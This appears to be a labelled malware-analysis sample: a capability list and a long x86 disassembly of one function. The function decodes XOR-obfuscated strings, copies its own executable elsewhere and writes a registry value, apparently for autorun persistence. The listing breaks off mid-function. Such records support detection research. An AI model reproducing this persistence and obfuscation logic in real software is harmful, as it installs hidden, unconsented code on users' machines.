Function at 0x41cde0
Capabilities:
Check if file exists
Copy file
Create process on windows
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x522c19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4c8
mov dword [ebp - 0x18], 0
xor ecx, ecx
movaps xmm0, xmmword [0x5477d0]
push esi
push edi
mov dword [ebp - 0x35], 0xebeeedcb
mov byte [ebp - 0x31], 0xe7
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x35], al
inc ecx
cmp ecx, 0xb
jb 0x41ce33
mov dword [0x55d530], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x35]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ce66
sub ecx, edx
lea eax, [ebp - 0x35]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov dword [ebp - 4], 0
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ce93
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x55ab3c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x41f314
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f4]
call fcn.0048aa20
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41cf11
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cf07
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x5479c0]
xor ecx, ecx
mov dword [ebp - 0x36], 0xf8ecf8c8
mov word [ebp - 0x32], 0xcfea
movups xmmword [ebp - 0x30], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xc
jb 0x41cf30
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cf63
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 3
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41cf90
sub ecx, esi
mov eax, edi
mov esi, dword [0x55ab3c]
sub eax, esi
cmp eax, ecx
jb 0x41f319
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x2d8]
call fcn.0048aa20
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41d009
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41cfff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x548410]
xor ecx, ecx
mov word [ebp - 0x33], 0xcdce
mov byte [ebp - 0x31], 0xdc
movups xmmword [ebp - 0x30], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 9
jb 0x41d020
mov dword [0x55d630], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x33]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d053
sub ecx, edx
lea eax, [ebp - 0x33]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 6
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d080
sub ecx, esi
mov eax, edi
mov esi, dword [0x55ab3c]
sub eax, esi
cmp eax, ecx
jb 0x41f31e
cmp dword [0x55ab40], 0x10
mov eax, 0x55ab2c
push esi
cmovae eax, dword [0x55ab2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x164]
call fcn.0048aa20
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41d0f9
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d0ef
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
push 0x200
lea eax, [ebp - 0x4d8]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x4d8]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1cc], 0
lea ecx, [ebp - 0x4d8]
mov dword [ebp - 0x1c8], 0
movups xmmword [ebp - 0x1dc], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d150
sub ecx, edx
lea eax, [ebp - 0x4d8]
push ecx
push eax
lea ecx, [ebp - 0x1dc]
call fcn.00402b80
mov byte [ebp - 4], 9
xor ecx, ecx
movaps xmm0, xmmword [0x5471c0]
mov dword [ebp - 0x36], 0xcbcac7cb
mov word [ebp - 0x32], 0xcdc7
movups xmmword [ebp - 0x30], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x36], al
inc ecx
cmp ecx, 0xc
jb 0x41d190
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x36]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x64], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d1c3
sub ecx, edx
lea eax, [ebp - 0x36]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402b80
cmp dword [ebp - 0x64], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x78]
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.00509aff
mov ecx, dword [ebp - 0x64]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41d22b
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d221
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f323
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
test esi, esi
je 0x41d9cc
mov ecx, esi
mov dword [ebp - 0x98], 0
xorps xmm0, xmm0
mov dword [ebp - 0x94], 0
movups xmmword [ebp - 0xa8], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d268
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xa8]
call fcn.00402b80
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0xdb
xor ecx, ecx
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 1
jb 0x41d296
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d2d0
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov eax, 0x5fe
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0xa8]
cmovae eax, dword [ebp - 0x60]
push eax
call fcn.00482d20
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41d341
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d337
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f342
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x1e0], 0x10
lea ecx, [ebp - 0x1f4]
mov edx, dword [ebp - 0x98]
cmovae ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x94]
mov edi, dword [ebp - 0x1e4]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41d3a7
cmp dword [ebp - 0x94], 0x10
lea esi, [ebp - 0xa8]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xa8]
mov dword [ebp - 0x98], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x18]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x41d3ba
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x18]
push edi
call fcn.00488e80
cmp dword [ebp - 0x94], 0x10
lea esi, [ebp - 0xa8]
push 0x55d1d0
cmovae esi, dword [ebp - 0xa8]
call fcn.004fa3f2
add esp, 4
test eax, eax
jne 0x41f328
test esi, esi
je 0x41d430
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d3f0
sub ecx, edx
je 0x41d430
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41d421
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41d421
cmp eax, 0x20
je 0x41d421
cmp eax, 0x45
je 0x41d421
cmp eax, 0x24
jne 0x41d430
push 0x55d1d0
call fcn.004fa403
add esp, 4
jmp 0x41d450
push 0x55d1d0
call fcn.004fa403
add esp, 4
lea ecx, [ebp - 0xa8]
call fcn.0041c570
test al, al
je 0x41d98e
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xeff1eda9
movq qword [ebp - 0x2a], xmm0
xor ecx, ecx
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 4
jb 0x41d467
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d4a0
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b80
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0xdb
cmovae eax, dword [ebp - 0x90]
xor ecx, ecx
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 1
jb 0x41d4e5
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d518
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d542
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x98]
sub eax, esi
cmp eax, ecx
jb 0x41f32e
cmp dword [ebp - 0x94], 0x10
lea eax, [ebp - 0xa8]
push ecx
cmovae eax, dword [ebp - 0xa8]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xc8]
call fcn.0048aa20
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1f4]
cmp dword [ebp - 0x1e0], 0x10
mov edx, dword [ebp - 0xb8]
cmovae ecx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0xb4]
mov edi, dword [ebp - 0x1e4]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41d5f7
cmp dword [ebp - 0xb4], 0x10
lea esi, [ebp - 0xc8]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xc8]
mov dword [ebp - 0xb8], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov ecx, dword [ebp - 0x18]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xc8]
jmp 0x41d60a
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x18]
push edi
call fcn.00488e80
mov dword [ebp - 0xd0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xe0], xmm0
mov dword [ebp - 0xcc], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xe0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0xd0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xe0]
push dword [ebp - 0x20]
call fcn.00482d20
mov dword [ebp - 0x68], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x64], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x78], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x68], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x1f5fe
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x41d6df
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d6d5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f333
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41d738
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d72e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f333
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41d78b
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d781
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f333
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x41d7c6
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d7bc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f333
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x78]
mov ecx, esp
push eax
call fcn.00483010
call fcn.0040da60
add esp, 0x18
test al, al
jne 0x41d956
cmp dword [ebp - 0x64], 0x10
lea ecx, [ebp - 0x78]
push 0
cmovae ecx, dword [ebp - 0x78]
lea eax, [ebp - 0x1dc]
cmp dword [ebp - 0x1c8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1dc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x41d956
movaps xmm0, xmmword [0x549e60]
xor ecx, ecx
movups xmmword [ebp - 0x134], xmm0
mov dword [ebp - 0x114], 0xcfffdcc9
movaps xmm0, xmmword [0x548c00]
movups xmmword [ebp - 0x124], xmm0
mov word [ebp - 0x110], 0xdfd9
movaps xmm0, xmmword [0x5472b0]
mov byte [ebp - 0x10e], 0xc4
movups xmmword [ebp - 0x10d], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x134], al
inc ecx
cmp ecx, 0x2d
jb 0x41d860
mov dword [0x55d534], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x134]
mov byte [ebp - 0x107], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41d8a0
sub ecx, edx
lea eax, [ebp - 0x134]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x18]
push ecx
mov eax, 0x81f5fe
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x60]
cmovae eax, dword [ebp - 0x60]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x4c]
test eax, eax
sete al
mov byte [ebp - 0x19], al
cmp ecx, 0x10
jb 0x41d922
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d915
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f338
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x19]
add esp, 8
test al, al
je 0x41d956
lea ecx, [ebp - 0x78]
call fcn.00402b50
lea ecx, [ebp - 0x1f4]
mov esi, eax
call fcn.00402b50
push dword [ebp - 0x68]
push esi
push 1
push 0
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x64]
cmp ecx, 0x10
jb 0x41d98e
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d984
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f33d
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x41d9cc
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41d9c2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f342
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547120]
xor ecx, ecx
mov dword [ebp - 0x116], 0xdfc5c4c6
mov dword [ebp - 0x112], 0xdddfc9d8
mov byte [ebp - 0x10e], 0xdf
movups xmmword [ebp - 0x10d], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x116], al
inc ecx
cmp ecx, 0xf
jb 0x41da00
mov dword [0x55d558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x116]
mov byte [ebp - 0x107], 0
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x68], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x64], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41da40
sub ecx, edx
lea eax, [ebp - 0x116]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402b80
or dword [ebp - 0x20], 0x200
lea eax, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
cmovae eax, dword [ebp - 0x78]
push eax
call fcn.00509aff
mov ecx, dword [ebp - 0x64]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x41daaa
mov edx, dword [ebp - 0x78]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41daa0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f347
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0xf
mov byte [ebp - 0x78], 0
test esi, esi
je 0x41f1fc
mov ecx, esi
mov dword [ebp - 0xec], 0
xorps xmm0, xmm0
mov dword [ebp - 0xe8], 0
movups xmmword [ebp - 0xfc], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dae7
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xfc]
call fcn.00402b80
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0xdb
xor ecx, ecx
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 1
jb 0x41db15
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41db48
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
or dword [ebp - 0x20], 0x800
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0xfc]
cmovae eax, dword [ebp - 0x60]
push eax
call fcn.00482d20
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x41dbb8
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dbae
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f375
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0x150], 0x10
lea ecx, [ebp - 0x164]
mov edx, dword [ebp - 0xec]
cmovae ecx, dword [ebp - 0x164]
mov eax, dword [ebp - 0xe8]
mov edi, dword [ebp - 0x154]
sub eax, edx
mov dword [ebp - 0x18], edx
push edi
push ecx
cmp edi, eax
ja 0x41dc1d
cmp dword [ebp - 0xe8], 0x10
lea esi, [ebp - 0xfc]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xfc]
mov dword [ebp - 0xec], eax
lea eax, [esi + edx]
push eax
call fcn.004fcb50
mov eax, dword [ebp - 0x18]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
jmp 0x41dc36
mov byte [ebp - 0x18], 0
lea ecx, [ebp - 0xfc]
push dword [ebp - 0x18]
push edi
call fcn.00488e80
mov edi, dword [ebp - 0x154]
cmp dword [ebp - 0xe8], 0x10
lea esi, [ebp - 0xfc]
push 0x55d1d0
cmovae esi, dword [ebp - 0xfc]
call fcn.004fa3f2
add esp, 4
test eax, eax
jne 0x41f34c
test esi, esi
je 0x41dcab
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dc68
sub ecx, edx
je 0x41dcab
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41dc99
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41dc99
cmp eax, 0x20
je 0x41dc99
cmp eax, 0x45
je 0x41dc99
cmp eax, 0x24
jne 0x41dcab
push 0x55d1d0
call fcn.004fa403
add esp, 4
jmp 0x41dd29
push 0x55d1d0
call fcn.004fa403
add esp, 4
mov dword [ebp - 0x13c], 0
cmp dword [ebp - 0xe8], 0x10
lea edx, [ebp - 0xfc]
xorps xmm0, xmm0
mov dword [ebp - 0x138], 0
cmovae edx, dword [ebp - 0xfc]
mov ecx, edx
movups xmmword [ebp - 0x14c], xmm0
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41dcf0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x14c]
call fcn.00402b80
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x14c]
mov eax, dword [ebp - 0x20]
or eax, 1
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
call fcn.0041c570
mov byte [ebp - 0x19], 0
test al, al
je 0x41dd2d
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0x15
mov eax, dword [ebp - 0x20]
test al, 1
je 0x41dd75
mov ecx, dword [ebp - 0x138]
cmp ecx, 0x10
jb 0x41dd75
mov edx, dword [ebp - 0x14c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41dd6b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f352
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp byte [ebp - 0x19], 0
je 0x41f1c2
xorps xmm0, xmm0
mov dword [ebp - 0x2e], 0xeff1eda9
movq qword [ebp - 0x2a], xmm0
xor ecx, ecx
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 4
jb 0x41dd96
mov dword [0x55d5d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2e]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x90], xmm0
mov dword [ebp - 0x80], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x7c], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41ddd0
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b80
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x90]
cmp dword [ebp - 0x7c], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x2b], 0xdb
cmovae eax, dword [ebp - 0x90]
xor ecx, ecx
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x2a], xmm0
mov word [ebp - 0x22], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 1
jb 0x41de15
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x2a], 0
movups xmmword [ebp - 0x60], xmm0
mov dword [ebp - 0x50], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x4c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41de48
sub ecx, edx
lea eax, [ebp - 0x2b]
push ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00402b80
mov byte [ebp - 4], 0x19
lea edx, [ebp - 0x60]
cmp dword [ebp - 0x4c], 0x10
cmovae edx, dword [ebp - 0x60]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x41de72
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xec]
sub eax, esi
cmp eax, ecx
jb 0x41f357
cmp dword [ebp - 0xe8], 0x10
